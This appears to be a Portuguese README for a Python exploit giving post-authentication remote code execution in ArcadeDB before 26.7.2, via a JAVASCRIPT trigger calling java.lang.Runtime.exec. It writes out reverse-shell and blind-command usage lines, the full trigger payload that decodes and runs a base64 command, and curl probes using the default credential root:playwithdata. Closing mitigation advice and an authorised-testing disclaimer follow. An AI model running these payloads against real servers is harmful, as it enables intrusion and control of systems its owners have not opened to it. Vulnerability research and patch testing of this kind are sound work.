
Exploit de RCE pós-autenticação para ArcadeDB via trigger JavaScript com escape de sandbox GraalVM, executando comandos do SO por meio da API HTTP com modos de reverse shell ou comando cego.
Execução remota de código pós-autenticação no ArcadeDB (um banco de dados multi-modelo em Java) por meio de um trigger JAVASCRIPT que acessa classes do host.
O mecanismo poliglota GraalVM de um trigger é construído com uma lista de permissões de classes do host que inclui
java.lang.* (ScriptTriggerExecutor.setAllowedPackages), portanto, um script de trigger pode chamar:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) não o bloqueia — Runtime.exec é uma chamada de método do host
permitida por HostAccess.ALL, não a API de processo convidado do GraalVM. Criar um trigger exige apenas a
permissão UPDATE_SCHEMA (mais fraca que a UPDATE_SECURITY que controla a execução direta de scripts), portanto
root consegue fazer isso — um RCE pós-autenticação pela API HTTP.
< 26.7.2 (0 – 26.7.1)26.7.2 (remove java.lang.* da lista de permissões do trigger e adiciona um
HostClassLookupFilter explícito com uma lista de bloqueio de processo/reflexão/classloader)2480 (API HTTP + Studio; autenticação Basic)O caminho de comando direto
language:jsnão é o vetor — ele não possui pacotes permitidos (Java.typebloqueado) e é controlado pelaUPDATE_SECURITY. Apenas o executor de trigger contémjava.lang.*codificado.
Apenas a biblioteca padrão do Python 3 — sem dependências. Credenciais válidas do ArcadeDB com UPDATE_SCHEMA
(ex.: root). O ArcadeDB não possui senha padrão embutida, mas o próprio docker-compose.yml fornece
o exemplo root:playwithdata, que é uma credencial comumente deixada como está.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
Três requisições autenticadas POST /api/v1/command/<db> (language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — o trigger BEFORE CREATE dispara e o JavaScript é executado.O comando do SO é codificado em base64 para que as camadas JavaScript/SQL/JSON não precisem de escape de aspas aninhadas,
e o script omite waitFor() para que exec retorne imediatamente (o processo filho continua em execução, a
requisição não bloqueia).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
Atualize para ArcadeDB ≥ 26.7.2, defina um rootPassword forte (nunca playwithdata), não execute
o ArcadeDB como root, restrinja a UPDATE_SCHEMA e mantenha a API HTTP/Studio longe de redes não confiáveis.
Apenas para testes de segurança autorizados e fins educacionais. Use-o somente contra sistemas que você possui ou para os quais tenha permissão explícita para testar.